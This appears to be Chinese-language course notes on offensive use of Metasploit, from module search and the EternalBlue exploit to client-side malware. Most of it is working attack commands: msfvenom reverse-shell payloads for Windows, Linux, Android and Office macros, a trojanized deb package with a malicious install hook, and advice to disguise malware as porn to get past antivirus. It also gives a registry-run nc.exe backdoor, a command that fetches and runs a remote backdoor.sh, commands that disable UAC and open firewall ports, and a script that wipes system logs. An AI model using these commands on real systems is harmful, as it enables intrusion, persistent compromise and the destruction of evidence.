扩展:PostgreSQL 和 MySQL 数据的应用场景区别:
从应用场景来说,PoskgresoL 更加适合严格的企业应用场景(比如金融、
电信、ERP、CRM)而 MySQL 更加适合业务逻辑相对简单、数据可靠性要求较低的互联网场景。
msfdb init
==常用命令(1)==
- connect
connect命令主要用于远程连接主机。一般用于内网渗透。
比较常用的命令就是
connect 192.168.1.1 80
-
show
有效参数: all encoders nops exploits payloads auxiliary post plugins info options
-
search
当你使用 msfconle 的时候你会用到各种漏洞模块、各种插件等等所以 search 搜索命令就很重要。
-
search name:mysql
(默认为 name 可以忽略) -
通过路径名进行查找
path:
有时候,我们只记得模块的路径,但是却忘记了模块的名称。
那么就可以用
path:
命令查找在该路径下的所有模块。如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入:
search path:mysql
-
缩小查询范围
platform:
Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞
有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。使用 platform 命令后,所查询的结果会列出 rank 比较高的模块。
如果我要查找 mysql 的漏洞,那么输入:
search platform:mysql
会隐藏 rank 为 normal 的模块,只剩下几个比较高级的利用模块
-
-
通过类型进行查找
type:
后面跟模块名 如 exploit, payload, …
-
联合查找
search name:mysql type:exploit
-
根据 CVE 搜索 exploit 相关模块
search cve:2018 name:linux
CVE 概述:CVE 的英文全称是“Common Vulnerabilities & Exposures” (公共 漏洞 和 暴露 )。
CVE 就好像是一个字典表,为广泛认同的 信息安全漏洞 或者 已经暴露出来的弱点 给出一个公共的名称。
使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得 CVE 成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞。如果有 CVE 名称,你就可以快速地在任何其它 CVE 兼容的数据库中找到相应修补的信息解决安全问题。
样例:
2017年GitHub上公开了CVE-2017-8464漏洞的metasploit frame work利用模块。利用此模块在 Windows10x64(Build14393)版本上测试有效。 现在此模块已经加入metasploit中了。 通过执行cve_2017_8464_Ink_rce.rb模块,将生成大量的Ink文件(对应盘符从D到Z)和要加载 的.dll文件(后门文件)。将所有样本文件拷到U盘里,然后将U盘插到Windows7机器上,默认自动执 行。
搜索这个模块:
search cve:CVE-2017-8464 type:exploit
==常用命令(2)==
-
use
: 装载渗透攻击模块use exploit/windows/smb/ms08_067_netapi
-
back
: 退出 -
info
:info <module name>
info
afteruse
-
show options
: 查看模块相关参数信息set <option> <value>
unset <option>
-
exploit
ORrun
: 执行当前模块
Rank
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。
用户可以基于 Rank 对漏洞利用模块进行搜索,分类以及排序。
- excellent 漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、
本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。 - great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服
务的版本检查之后可以返回到一个特定的返回地址。 - good 该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的 Windows7,服务器的 2012 等)
- normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且 不能 或者 不能可靠 地自动检测
- average 该漏洞利用程序不可靠或者难以利用。
- low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
- manual 该漏洞利用程序不稳定 或者难以利用 并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
实战:永恒之蓝
可以先扫描目标主机是否有类似漏洞
set payload windows/x64/shell/reverse_tcp
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的。可返回 shell,也可以进行程序注入等。
利用 vulnerability 来在远程利用 payload 建立稳定连接
获取到 shell 后乱码可以通过 chcp 65001
来设置 UTF-8 编码以次解决问题。
exploit -j
: 保存当前会话 在后台运行
sessions -i id
: 进入会话
background
: 将当前会话放在后台
sessions -k id
: 删除会话
总结使用 metasploit 攻击的步骤:
- 查找 CVE 公布的漏洞
- 查找对应的 exploit 模块
- 配置模块参数
- 添加 payload 后门
- 执行 exploit 开始攻击
实战: 使用 msf 扫描靶机上的 mysql 服务空密码
https://www.bilibili.com/video/BV17M4y1578y?p=46
help 翻译
banner 显示一个 metasploit 横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
==getg 获取全局变量的值==
==grep grep 另一个命令的输出 如: grep creds==
history 显示命令历史
irb 进入 irb 脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
==sessions 转储会话列表并显示有关会话的信息==
==set 将特定于上下文的变量设置为一个值==
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件.
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
模块命令
advanced 显示一个或多个模块的高级选项
==back 从当前上下文返回==
edit 使用首选编辑器编辑当前模块
==info 显示有关一个或多个模块的信息==
loadpath 路径从路径搜索并加载模块
==options 显示全局选项或一个或多个模块==
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将 活动 OR 模块列表 推入堆栈
reload_all 从所有定义的模块路径重新加载所有模块
==search 搜索模块名称和描述==
show 显示给定类型的模块或所有模块
==use 按名称选择模块==
工作命令
handler 作为作业启负处理程序
==jobs 显示和管理作业==
==kill 杀死一个工作==
rename_job 重命名作业
资源脚本命令
makerc 保存从开始到文件输入的命令
resource 运行储存在文件中的命令
数据库后端命令
db_connect 连接到现有的数据库
==db_disconnect 断开与当前数据库实例的连接==
==db_export 导出包含数据库内容的文件==
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行 nmap 并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
Ioot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
凭证(credential)后端命令
==creds 列出数据库中的所有凭证==
Metasploit 渗透测试 之 信息收集
基于 TCP 协议收集主动信息
我们前面学习了主动信息收集和被动信息收集,而且还学习了漏洞检测工具 NESSUS。
接下来给大家讲解使用 Metasploit 来对目标进行信息收集,这个过程包含了前面所有的方式以及多了一些更加极端的获取信息方式
比如 获取服务器的硬件信息、系统用户信息、进程信息等。
使用 Metaspolit 的 nmap 和 arp_sweep 收集信息
db_nmap -sV ip
use auxiliary/scanner/discovery/arp_sweep
端口扫描
search portscan
使用 auxiliary/sniffer 下的 psnuffle 模块进行密码嗅探
search psnuffle
拓展: Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、综合性的网络嗅探工具包
jobs
-> kill <id>
来暂停嗅探
SNMP
简单网络管理协议(SNMP, Simple Network Management Protocol)
由一组网络管理的标准组成,包含一个应用层协议(application layer protocol)、数据库模型(database schema)和一组资源对象。
该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。
search snmp_enum
注: 可以看到通过 snmp 协议探测到的信息非常多。
如服务器硬件信息和服务器当前运行的进程,这两方面是其他扫描方式,获取不到的。
SMB
服务器消息块(Server Message Block),缩写为 SMB),又称网络文件共享系统(Common Internet File System,缩写为 CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
search smb_version
使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)
SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求。
使用 smb_lookupsid 扫描系统用户信息(SID 枚举)
SSH
Version Information
search ssh_version
Brute Force to crack ssh pwd
search ssh_login
/usr/share/metasploit-framework/data/wordlists
: 字典
FTP
Version Information
…
利用漏洞
search 2.3.4
ftp 匿名(anonymous)登陆扫描
search auxiliary/scanner/ftp/
BF to crack pwd
search ftp_login
制作 windows 和 linux 客户端恶意软件进行渗透
在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们向目标发一个含有后门的程序,或者是一个 word 文档、pdf 文件。想要达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。
客户端渗透技巧:
通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检测,所以我们所设计的恶意软件可以利用人的劣根性,比如我们
将恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序,那么他就中招了。当然这种取巧的办法并不能解决所有问题,我们需要利用免杀来躲避安全软件的查杀。
WINDOWS
msfvenom 是 msfpayload,msfencode 的结合体,可利用 msfvenom 生成木马程序,并在目标机上执行,在本地监听上线。
- 生成后门程序
-
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LP0RT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/1.exe
-b \x00
: 去掉空字符-p
: 攻击载荷,通过--l payloads
查看所有 payloads-e
: 编码器-i
: 编码次数(值越大,文件越大,使杀毒软件更难查出源代码)-f
: 指定生成格式,可以是 raw, exe, elf, jar, c 语言的, python 的, java 的, .….. 用-l formats 查看所有支持的格式--l platforms
-
通过 metasploit 的 evasion 生成后门
use evasion/windows/windows_defender_exe
- 在 MSF 上启动 handler 开始监听后门程序
use exploit/multi/handler
- 测试
使用 virustotal 检测下生成后门的免杀能力 http://www.virustotal.com/是一个免费的病毒,蠕虫,木马和各种恶意软件分析服务,可以针对可疑文件和网址进行快速检测,最初由 Hispasec 维护。
它与传统杀毒软件的不同之处是它通过多种杀毒引擎扫描文件。使用多种反病毒引擎可以令用户们通过各杀毒引擎的侦测结果,判断上传的文件是否为恶意软件。
Linux
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/exploit
-f: 可执行文件类型
制作恶意 deb 包
制作恶意软件包使用 apt install --download-only
方式下载软件包不进行安装
存放在 /var/cache/apt/archives
dpkg -x xxx.deb dest
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -i 10 -f elf -o dst
创建软件包信息目录
mkdir dst/DEBIAN
tee dst/DEBIAN/control << 'EOF'
EOF
: 结束标识符
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusemente
Priority: optional Architecture: amd64.
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweepere Freesweep is an implementation of the popular minesweeper game, wheree one tries to find all the mines without igniting any, based on hints givene by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and ine most text-based terminals currently in use
EOF
tee dst/DEBIAN/postinst << 'EOF'
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources & # 恶意代码
EOF
dpkg-deb --build dst
利用 0day 双杀-java 环境-宏感染-安卓客户端进行渗透
利用 0DAY 漏洞 CVE-2018-8174 获取 shell
0DAY 漏洞 最早的破解是专门针对软件的,叫做 WAREZ,后来才发展到游戏,音乐,影视等其他内容的。
Oday 中的 0 表示 zero,早期的 0day 表示在软件发行后的 24 小时内就出现破解版本,现在我们已经引申了这个含义,只要是在软件或者其他东西发布后,在最短时间内出现相关破解的,都可以叫 0day。
0day 是一个统称,所有的破解都可以叫 0day
CVE-2018-8174 漏洞影响最新版本的 1E 浏览器及使用了 E 内核的应用程序。用户在浏览网页或打开 0 ffice 文档时都可能中招,最终被黑客植入后门木马完全控制电脑。微软在 2018 年 4 月 20 日早上确认此漏洞,并于 2018 年 5 月 8 号发布了官方安全补丁,对该 0day 漏洞进行了修复,并将其命名为 CVE-2018-8174。
https://www.bilibili.com/video/BV17M4y1578y?p=59
Jre17
use multi/browser/java_jre17_driver_manager
宏感染
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -e x86/shikata ga_nai -i 10 -f vba-exe
APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 R > xuegod.apk
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
https://www.bilibili.com/video/BV17M4y1578y?p=63
==Metasploit 渗透测试 之 制作隐藏后门==
使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透
永恒之蓝概述:
永恒之蓝是指 2017 年 4 月 14 日晚,黑客团体 Shadow Brokers (影子经纪人)公布一大批网络攻击工具,其中包含"永恒之蓝"工具, "永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。5 月 12 日,不法分子通过改造“永恒之蓝"制作了 wannacry 勒索病毒。英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Vindows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。~
search ms17_010
RDP
run post/windows/manage/enable rdp USERNAME=Hacker PASSWORD=123456
新建的用户并非隐藏
关闭主机防护策略并开启后门
打开目标主机的 shell: shell
通过 ms17-010 永恒之蓝获取到的 shell 可能会出现操作受限的情况,所以我们使用主机的账户信息建立 session 进行连接。
密码
SAM概述:SAM文件即账号密码数据库文件,SAM文件的位置是:
C: \Windows\System32\config\SAM
hashdump
防火墙
我们创建一条防火墙规则允许 4444 端口访问网络,否则我们建立 session 时 payload 不能通过 4444 端口访问网络导致 session 建立失败
netsh firewall add portopening TCP 4444 "test1" ENABLE ALL
UAC
cmd.exe /k %windir%\system32\reg.exe ADD HKLM\SOFTWARE\Microsoft\windows\currentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
开启默认共享
cmd.exe /k %windir\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio \Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
扩展: psexec 实用程序在远程系统上需要做一些事情
服务器消息块(SMB)服务必须可用并且可以访问(例如,未被防火墙阻止;必须启用文件和打印共享。
Admin$
共享必须可用并且可以访问,它是一个隐藏的 SMB 共享,它映射到 Windows 目录,用于软件部署。提供给 psexec 实用程序的凭据必须具有访问 Admins 共享的权限, psexec 的可执行文件内有 Windows 服务映像。它接受此服务并将其部署到远程计算机上的
Admin$
共享中。然后,它使用 SMB 上的 DCE/RPC (分布式计算环境/远程过程调用)接口来访问 Windows Service Control Manager API,它将打开远程计算机上的 psexec 服务。然后 psexec 服务创建一个可用于将命令发送到系统的命名管道,
use exploit/windows/smb/ms17_010_psexec
set SMBpass xxx
直接用 hashdump
中的
利用 nc.exe
常驻目标机后台以实现后门
reboot
: 重启
nc ip port
: 连接目标主机
开机启动
(不在 shell 中 metasploit 内置)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'c:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
-k
: The registry key path (E.g. HKLM\Software\Foo).-v
: The registryvalue name (E.g. Stuff).-d
: The data to store in the registry value.
c:\windows\system32\nc.exe -Ldp 443 -e cmd.exe
-L
: 表示用户退出连接后重新进行端口侦听-d
: 后台运行-p
: 指定端口-e prog
: 程序重定向,一旦连接,就执行
防火墙允许 443 端口访问网络否则开机的时需要用户点击允许访问网络才可以成功执行。
netsh firewall add portopening TCP 443 "test2" ENABLE ALL
上传与执行
upload local remote
: 上传文件
execute -f file
: 运行目标主机上的文件
Linux 无文件木马程序
Vegile 是用于 linux 系统渗透测试中的权限维持。
Vegile 这个工具将设置一个后门/rootkit,并且这个后门会直接隐藏进程,无限连接 metesploit,持续维持你的 Metepreter 会话,即使木马进程被杀死,它依然会再次重新运行,换句话说是该进程无限循环的。
常用方法:
- ./Vegile –i 隐藏你的后门
- ./Vegile –u 无限复制你的 metasploit 会话,即使被 kill,依然可以再次运行
注意:
木马一定要放在 Vegile 目录下
Vegile 一般用于维持 meterpreter 会话
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o lb-ghost
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=8080 -b "\x00" -f elf -o lb-backdoor
之后正常操作
linux/x64/shell/reverse_tcp
注:这个 payload 中的 shell 是没有 bash 提示符的,所以不要以为失败了.
创建无文件后门程序
配置监听 4444 端口
wget 192.168.1.53/Vegile.tar.gz
./Vegile --i lb-ghost
bash <(curl -s -L http://192.168.1.53/backdoor.sh) >> /dev/null 2>&1
开机启动
/etc/rc.local
crontab
日志清理
windows
clearv
linux
清理历史命令:
history -c
使系统不再保存历史命令:
vi /etc/profile,找到 HISTSIZE 这个值,修改为 0
删除访问日志
-
访问失败的日志
echo > /var/log/btmp
-
访问成功的日志
echo > /var/log/wtmp
(此时执行 last 命令就会发现没有记录) -
删除日志记录
echo > /var/log/secure
汇总脚本
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/loq/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c
FRP 内网穿透服务器在渗透中的应用
局域网主机上网原理
实现局域网内主机上网的技术叫做 NAT 技术,IPV4 设计之初没有想到互联网发展的如此迅速,以至于有一天人们意识到 P 资源有耗尽的可能性,所以有了 NAT 网络地址转换来解决局域网内所有主机仅通过 1 个公网 P 进行上网,以节省公网 IP 资源。
在 2019/11/25 日全球的 Pv4 地址已经彻底耗尽。
如图中所示,公网 IP 是绑定在 NAT 网关上,而 NAT 网关负责将私网地址转换为公网地址然后访问互联网资源,互联网资源返回数据包时则对照 NAT 表将数据包中的公网地址转换为私网地址,也就是将应答返回给发起请求的主机。
- 内网 172.18.250.6 主机请求访问百度,百度的 IP 地址为 202.108.22.5,此时内网主机发起请求,此时数据包结构:源 IP 地址是 172.18.250.6 目的 IP 地址为 202.108.22.5
- 当数据包经过 NAT 网关时, NAT 网关将源 IP 地址修改为 219.155.6.240,相当于路由器代替我们访问了百度服务器一样,并记录下是内网哪台机器发出的请求
- 百度收到 219.155.6.240 发来的数据包请求并做出相应,返回数据包:源 IP 地址:202.108.22.5 目的地址 IP: 219.155.6.240
- NAT 网关收到百度的应答包,根据 NAT 关联表得知该请求是内网的 172.18.250.6 发起的,所以将目的地址修改为 172.18.250.6 并将数据包转发至 172.18.250.6,此时内网主机和百度就产生了一次交互 后续建立链接以及交互的方式同上。
在内网发布服务使之可在公网访问
我们分析 NAT 工作过程中可以得知整个过程进行了 2 次 IP 地址转换,
第一次将请求包的源 P 地址源地址转换称之为 SNAT,其中 S 表示 source 表示源;
第二次转换应答包的目的地址也被称之为目的地址转换 DNAT,D 表示 Destination 表示目的地,DNAT 转换可以使互联网访问到内网的主机,我们单独配置 DNAT 就可以实现外部网络访问内网主机。
通过端口映射发布服务的方式:
端口映射是比较灵活的映射内网各个不同主机的方式,需要对外发布的服务端口,端口映射的配置方式也比较简单,一般情况可通过路由器配置但是通过路由器配置端口映射需要有一个前提条件,就是你路由器能够拥有一个公网 IP
按正常逻辑来说我们路由器拨号成功后运营商会分配一个公网 IP 给路由器,但是对于运营商来说这样对 1Pv4 的资源也是种负担。如果每个人都有一个公网 IP,那么国内的 IPv4 资源将会非常紧张,我国总计约有 3 亿个 IPv4 地址,而我国网民何止 3 亿。
所以运营商会在路由器拨号中再
<u>
嵌套一层内网</u>
,也就是说我们路由器拨号得到的 IP 地址也是一个<u>
内网地址</u>
,然后由<u>
运营商的路由网关再做 NAT 地址转换进行上网</u>
。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于